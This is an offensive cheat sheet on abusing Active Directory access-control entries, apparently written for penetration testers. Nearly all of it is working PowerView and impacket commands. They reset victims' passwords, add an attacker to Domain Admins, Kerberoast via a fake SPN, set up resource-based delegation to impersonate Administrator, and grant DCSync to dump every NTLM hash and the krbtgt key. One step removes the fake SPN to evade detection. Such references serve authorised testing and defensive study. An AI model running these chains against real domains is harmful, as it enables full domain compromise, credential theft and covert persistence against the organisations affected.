DACL Attacks I — Core ACL Abuse
Active Directory ACL abuse fundamentals: enumerating ACEs with BloodHound and PowerView, exploiting GenericAll/GenericWrite/WriteDACL/WriteOwner/ForceChangePassword/AddMember on users, groups, and computers to chain privilege escalation.
Every AD object has a DACL (Discretionary Access Control List). Misconfigured ACEs give non-admin users powerful rights over privileged objects. BloodHound finds these paths; PowerView executes them.
Discovery
BloodHound (start here)
In BloodHound:
- Click your owned user → Outbound Object Control panel
- Run pre-built query: Shortest Paths from Owned Principals to Domain Admins
- Key edges:
GenericAll,GenericWrite,WriteDACL,WriteOwner,ForceChangePassword,AddMember,AllExtendedRights,AddKeyCredentialLink,Owns
PowerView — raw ACL enumeration
# Load PowerView
Import-Module .\PowerView.ps1
# Find all ACEs your user has across the domain
$my_sid = (Get-DomainUser -Identity attacker).objectsid
Get-DomainObjectAcl -ResolveGUIDs |
Where { $_.SecurityIdentifier -eq $my_sid } |
Select ObjectDN, ActiveDirectoryRights, ObjectAceType
# Find all GenericAll ACEs in domain
Get-DomainObjectAcl -ResolveGUIDs |
Where { $_.ActiveDirectoryRights -match "GenericAll" } |
Select ObjectDN, IdentityReference
# Find all WriteDACL ACEs
Get-DomainObjectAcl -ResolveGUIDs |
Where { $_.ActiveDirectoryRights -match "WriteDacl" } |
Select ObjectDN, IdentityReference
# Check ACEs on specific object
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs
# Check domain object (for DCSync rights)
Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
Where { $_.ActiveDirectoryRights -match "Replicating|GenericAll|WriteDacl" }
# Linux — dacledit.py (impacket)
dacledit.py corp.local/user:pass -dc-ip DC_IP -action read -target 'Domain Admins'
dacledit.py corp.local/user:pass -dc-ip DC_IP -action read -target-dn 'DC=corp,DC=local'
GenericAll on User
Full control over the user object — change password directly:
# PowerView — change password (no old password required)
Set-DomainUserPassword -Identity victim \
-AccountPassword (ConvertTo-SecureString 'Pwned123!' -AsPlainText -Force)
# Linux
net rpc password victim 'Pwned123!' -U 'corp.local/attacker%pass' -S DC_IP
After changing the password, authenticate as the victim to continue the chain.
GenericAll on Group
Add yourself (or any user) to the group:
# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
# Verify
Get-DomainGroupMember -Identity 'Domain Admins' | select MemberName
# Linux
net rpc group addmem 'Domain Admins' attacker -U 'corp.local/attacker%pass' -S DC_IP
ForceChangePassword / User-Force-Change-Password
Reset a user’s password without knowing the old one:
# PowerView
Set-DomainUserPassword -Identity victim \
-AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
# Linux — rpcclient
rpcclient -U 'corp.local/attacker%pass' DC_IP -c 'setuserinfo2 victim 23 NewPass123!'
# Linux — net rpc
net rpc password victim 'NewPass123!' -U 'corp.local/attacker%pass' -S DC_IP
GenericWrite on User — Set SPN → Kerberoast
GenericWrite on a user lets you write specific attributes but not change the password. Set a fake SPN to enable Kerberoasting:
# Set fake SPN
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/host.corp.local'}
# Kerberoast the victim account
Invoke-Kerberoast -Identity victim -OutputFormat Hashcat | Select Hash | Out-File tgs.txt
# Or from Linux:
GetUserSPNs.py corp.local/attacker:pass -dc-ip DC_IP -request -outputfile tgs.txt
# Remove after cracking to reduce detection
Set-DomainObject -Identity victim -Clear serviceprincipalname
Crack with: hashcat -m 13100 tgs.txt rockyou.txt
GenericWrite on Computer — RBCD
Set msDS-AllowedToActOnBehalfOfOtherIdentity on the computer to allow a controlled account to impersonate any user to it:
# 1. Create a fake computer account
addcomputer.py -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' \
corp.local/attacker:pass -dc-ip DC_IP
# 2. Set RBCD attribute on target computer (using GenericWrite)
rbcd.py -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write \
corp.local/attacker:pass -dc-ip DC_IP
# 3. Request impersonation ticket
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator \
-dc-ip DC_IP corp.local/'EVILPC$:EvilPass123!'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local
WriteDACL on Object
Modify the DACL of an object to grant yourself GenericAll:
# Grant yourself full control on a group
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All
# Grant DCSync rights on the domain object
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync
# Linux — dacledit.py
dacledit.py corp.local/attacker:pass -dc-ip DC_IP \
-action write -rights FullControl -principal attacker -target 'Domain Admins'
# Grant DCSync
dacledit.py corp.local/attacker:pass -dc-ip DC_IP \
-action write -rights DCSync -principal attacker -target-dn 'DC=corp,DC=local'
After granting rights, execute the follow-on attack (join group, change password, DCSync).
WriteOwner → Take Ownership → WriteDACL → GenericAll
# 1. Take ownership of the target (WriteOwner)
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity attacker
# 2. Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights WriteDACL
# 3. Grant GenericAll using WriteDACL
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All
# 4. Now add yourself
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
AllExtendedRights
AllExtendedRights includes ForceChangePassword, Replicating Directory Changes, and more:
# Check what AllExtendedRights lets you do on the object
Get-DomainObjectAcl -Identity target -ResolveGUIDs |
Where { $_.ActiveDirectoryRights -match "ExtendedRight" } |
Select ActiveDirectoryRights, ObjectAceType, IdentityReference
# If on domain object → DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync
# If on a user → ForceChangePassword
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'Pass123!' -AsPlainText -Force)
DCSync (after granting rights)
Once you have DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object:
# Dump all hashes
secretsdump.py corp.local/attacker:pass@DC_IP -just-dc-ntlm
# Dump krbtgt (for Golden Ticket)
secretsdump.py corp.local/attacker:pass@DC_IP -just-dc-user krbtgt
Cleanup
Remove ACEs you added after the engagement:
Remove-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All
Remove-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'Domain Admins'